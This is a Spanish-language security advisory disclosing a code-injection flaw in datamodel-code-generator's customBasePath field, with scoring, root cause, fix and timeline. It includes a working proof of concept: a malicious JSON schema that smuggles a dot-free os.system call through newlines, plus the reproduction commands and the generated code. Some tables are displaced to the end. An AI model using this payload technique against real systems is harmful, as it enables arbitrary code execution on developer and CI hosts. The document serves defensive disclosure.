
Inyección de código (RCE) en datamodel-code-generator mediante customBasePath sin validar (CVE-2026-63720)
Gravedad: Alta, CVSS 3.1 7.5 / CVSS 4.0 7.5 (asignada por VulnCheck, la CNA)
Techo ambiental (despliegue como servicio de red): hasta 9.8
Vector (v4.0): CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Vector (v3.1): CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
Afectado: datamodel-code-generator < 0.70.0
Corregido en: 0.70.0
CWE: CWE-94 (Control inadecuado de la generación de código, 'Inyección de código')
Reportado por: Rahul Karne
CNA: VulnCheck
Publicado: 26 de julio de 2026
datamodel-code-generator validaba todas las cadenas de importación controladas por el esquema que pudieran transportar una carga útil de inyección de código, excepto una.
La herramienta convierte un esquema de entrada (JSON Schema, OpenAPI, YAML) en código fuente de modelos Python. Varios campos del esquema se renderizan directamente en ese código generado, por lo que el proyecto los valida como identificadores Python con puntos antes de usarlos, específicamente para prevenir la inyección. El campo de extensión del esquema customBasePath es el único campo hermano que omite esta comprobación. Su valor fluye sin sanitizar hacia una sentencia from ... import ... en la salida generada. Un atacante que controle el esquema de entrada puede incrustar Python arbitrario usando saltos de línea y una expresión sin puntos, y este se ejecuta en el momento en que se importa el módulo generado, que es el siguiente paso habitual después de generar los modelos.
Se trata de una corrección incompleta de CVE-2026-55415 (GHSA-5578-w22f-pfx9), que endureció los campos hermanos customTypePath y x-python-import contra esta clase exacta de vulnerabilidad. Esa corrección no cubrió customBasePath, que llega al mismo sumidero sin validar y permaneció explotable hasta 0.68.1 y en main hasta 0.70.0.
Ejecución de código Python arbitrario en el proceso que importa o ejecuta los modelos generados: la máquina del desarrollador, un runner de CI o cualquier servicio que genere y luego cargue modelos. La confidencialidad, integridad y disponibilidad del host quedan completamente comprometidas, limitadas únicamente por los privilegios de ese proceso.
La gravedad depende enteramente de dónde se ejecute codegen sobre entradas no confiables:
Quién está afectado: cualquier uso de datamodel-code-generator < 0.70.0 que (1) genere modelos a partir de un esquema cuyo valor de customBasePath esté influenciado por el atacante y (2) importe o ejecute el módulo generado. El flujo de trabajo predeterminado de codegen y posterior importación cumple (2) de forma inherente.
Quién no está afectado:
0.70.0 o posterior, donde customBasePath se valida.| Métrica | Valor | Fuente |
|---|---|---|
| Descargas, total histórico |
El valor del campo de esquema customBasePath se transporta al código generado sin ninguna restricción de identificador. Tres puntos del codebase son relevantes (rutas relativas a src/datamodel_code_generator/):
parser/jsonschema.py define el campo custom_base_path con alias="customBasePath" (~línea 644), consumido a través de _resolve_base_class(...) en varios puntos de llamada.parser/base.py, _resolve_base_class (~línea 1665), devuelve el valor después de solo un normalize() local (deduplicación/recorte). No se aplica ninguna validación de identificador.imports.py, Import.from_full_path() (~línea 35), emite el valor textualmente como una línea from ... import .... El valor también se usa como clase base en model/base.py set_base_class (~línea 1324) y se renderiza en bruto mediante la plantilla del modelo ().Debido a que el valor se escribe en el código fuente de Python sin restricción alguna, los saltos de línea incrustados y una expresión sin puntos sobreviven en la salida como líneas propias e individualmente analizables, y la línea intermedia se ejecuta al importar.
La carga útil carece de puntos por necesidad. Import.from_full_path divide el valor por ., por lo que una llamada normal os.system(...) se rompería. El uso de getattr(__import__('os'),'system')(...) evita cualquier . mientras sigue resolviendo la misma llamada, y los saltos de línea circundantes mantienen sintácticamente válidas las líneas from ... import ... emitidas, de modo que la línea intermedia inyectada se ejecuta limpiamente.
Este no es un proyecto que descuidara la inyección. El mantenedor endureció esta clase exacta repetidamente a través de múltiples avisos (GHSA-5578, m34r, 8m8r, wjv6), enrutando cada vez una cadena de importación o tipo controlada por el esquema a través de _validate_dotted_python_identifier_path antes de que llegue a la generación de código. Los campos hermanos customTypePath (validados en parser/jsonschema.py ~líneas 4956, 5202) y x-python-import (~línea 2096) pasan ambos por ese validador.
customBasePath es el único hermano sin esa llamada. Llega al mismo sumidero Import.from_full_path por una ruta diferente (_resolve_base_class) que nunca se conectó a la validación que recibieron los otros campos. El defecto sobrevivió precisamente porque la defensa circundante parecía completa: un revisor que busque cadenas de importación sin validar ve validadores en los campos que comprueba primero, y este se enruta a través de un helper que parece resolución de clase base en lugar de manejo de importaciones. Es una laguna en una corrección sistemática, no una corrección ausente, razón por la cual persistió hasta la última versión.
Un atacante necesita:
< 0.70.0.customBasePath en un esquema que el objetivo procesará; en la práctica, suministrando o influyendo en el esquema de entrada (un documento OpenAPI/JSON Schema de un tercero o un esquema enviado a un servicio).No se requiere autenticación ni privilegios elevados por parte del atacante (PR:N). La puntuación base refleja que la víctima realiza la acción ordinaria de generar e importar (UI:R en v3.1 / UI:A en v4.0); el despliegue como servicio de red elimina incluso eso, que es de donde proviene el 9.8 ambiental.
Lo siguiente se ejecutó contra el paquete real, sin modificar. Reproducción:
pip install "datamodel-code-generator==0.68.1"
datamodel-codegen --input attack.json --input-file-type jsonschema --output generated_models.py
python -c "import generated_models"
Entrada del atacante (attack.json):
{
"type": "object",
"title": "User",
"customBasePath": "builtins import object\ngetattr(__import__('os'),'system')('whoami > RCE_PROOF.txt')\nfrom builtins.object",
"properties": { "name": { "type": "string" } }
}
generated_models.py generado en la versión vulnerable (0.68.1):
from __future__ import annotations
from builtins import object
getattr(__import__('os'), 'system')(
'whoami > RCE_PROOF.txt'
)
from builtins import object
class User(object):
name: str | None = None
La llamada del atacante se emite textualmente en el código fuente generado.
Al importar: el comando se ejecuta. En la ejecución verificada, el marcador inyectado se imprimió en stdout y se creó RCE_PROOF.txt con el usuario actual (root), lo que confirma la ejecución arbitraria de comandos a través del flujo de trabajo ordinario de generar e importar.
En la versión corregida (0.70.0): el mismo esquema se rechaza antes de que se genere cualquier código:
Error at schema path 'attack.json': Error: customBasePath must be a dotted
Python identifier path: "builtins import object\ngetattr(__import__('os'),
'system')('whoami > RCE_PROOF.txt')\nfrom builtins.object"
No se produce ningún archivo. El mensaje de rechazo nombra la corrección directamente: ahora se requiere que el valor sea una ruta de identificador Python con puntos.
Variante de servicio de red. Se demostró un servicio HTTP de loopback no autenticado que acepta un esquema enviado por POST, genera modelos y los importa, ejecutando el comando del atacante en el servidor desde un único curl no autenticado, sin interacción del usuario. Esta es la forma de despliegue detrás del 9.8 ambiental. Los archivos del servicio y del ataque se incluyen en el repositorio de la PoC.
Actualice a datamodel-code-generator 0.70.0 o posterior:
pip install --upgrade "datamodel-code-generator>=0.70.0"
0.70.0 enruta customBasePath a través de la misma validación de identificador con puntos ya aplicada a customTypePath y x-python-import, por lo que un valor que no sea una ruta de identificador válida se rechaza antes de la generación de código.
Si no puede actualizar de inmediato: no genere modelos a partir de esquemas que no controle por completo y no importe ni ejecute módulos generados a partir de esquemas no confiables. No existe ninguna bandera de configuración que añada la validación ausente en las versiones afectadas; actualizar es la corrección fiable.
Nota para cualquiera que reutilice los internals del generador. El defecto era una llamada de validación ausente en una ruta de código hacia Import.from_full_path, no una falla del sumidero en sí. Cualquier proyecto descendente que renderice cadenas controladas por el esquema en código generado debería validar todos esos campos como identificador con puntos, no solo los que pasan por la ruta obvia de manejo de importaciones.
VulnCheck (la CNA) asignó 7.5 (Alta), coincidiendo con el vector base que el mantenedor usó para el aviso padre CVE-2026-55415, porque es la misma clase de inyección, el mismo sumidero Import.from_full_path y el mismo impacto.
AV:N: los esquemas se obtienen comúnmente a través de la red (documentos OpenAPI / JSON Schema obtenidos de la red o de terceros).AC:H: la explotación depende de que la víctima genere modelos a partir del esquema malicioso y luego importe o ejecute el código generado.PR:N / UI:R (v3.1): sin privilegios del atacante; la víctima realiza el flujo de trabajo ordinario de codegen e importación.C:H / I:H / A:H: ejecución arbitraria completa de código en el host.El techo ambiental es 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) y se aplica específicamente al despliegue como servicio de red, donde el generador está expuesto a esquemas no confiables y no se requiere interacción de la víctima. Esa cifra es una nota ambiental para ese despliegue, no la puntuación base asignada. Declarar ambas y ser explícito sobre cuál es cuál es el planteamiento honesto: la base es 7.5 y alcanza 9.8 solo en el caso del servicio expuesto.
| Fecha |
|---|
Descubierto y reportado por Rahul Karne, investigador de seguridad y miembro senior de IEEE. Su investigación se centra en fallas de inyección y manejo de entradas en paquetes de código abierto de alta dependencia, incluido CVE-2026-65321 (inyección SQL en PyAthena) y el endurecimiento de la clase padre alrededor de este hallazgo.
Contacto: [email protected] · GitHub: rahulreddykarne
545a96c5: https://github.com/koxudaxi/datamodel-code-generator/commit/545a96c5Consultas de prensa: [email protected]. PoC completa (esquema del atacante, demo de servicio de red) y detalle técnico adicional disponibles bajo petición.
| 194 millones |
| pepy.tech/projects/datamodel-code-generator |
| Descargas, últimos 30 días | 16,3 millones | pepy.tech |
| Despliegue típico | Máquinas de desarrolladores, pipelines de CI/CD y plataformas de generación de SDKs que generan código a partir de OpenAPI / JSON Schema | inherente a la función de la herramienta |
class {{ class_name }}({{ base_class }}):| Evento |
|---|
| 13 de julio de 2026 | Vulnerabilidad identificada |
| 14 de julio de 2026 | Reportada (divulgación coordinada) |
| 21 de julio de 2026 | Corrección aplicada (545a96c5) |
| 24 de julio de 2026 | Versión corregida 0.70.0 publicada |
| 26 de julio de 2026 | CVE-2026-63720 publicado por VulnCheck |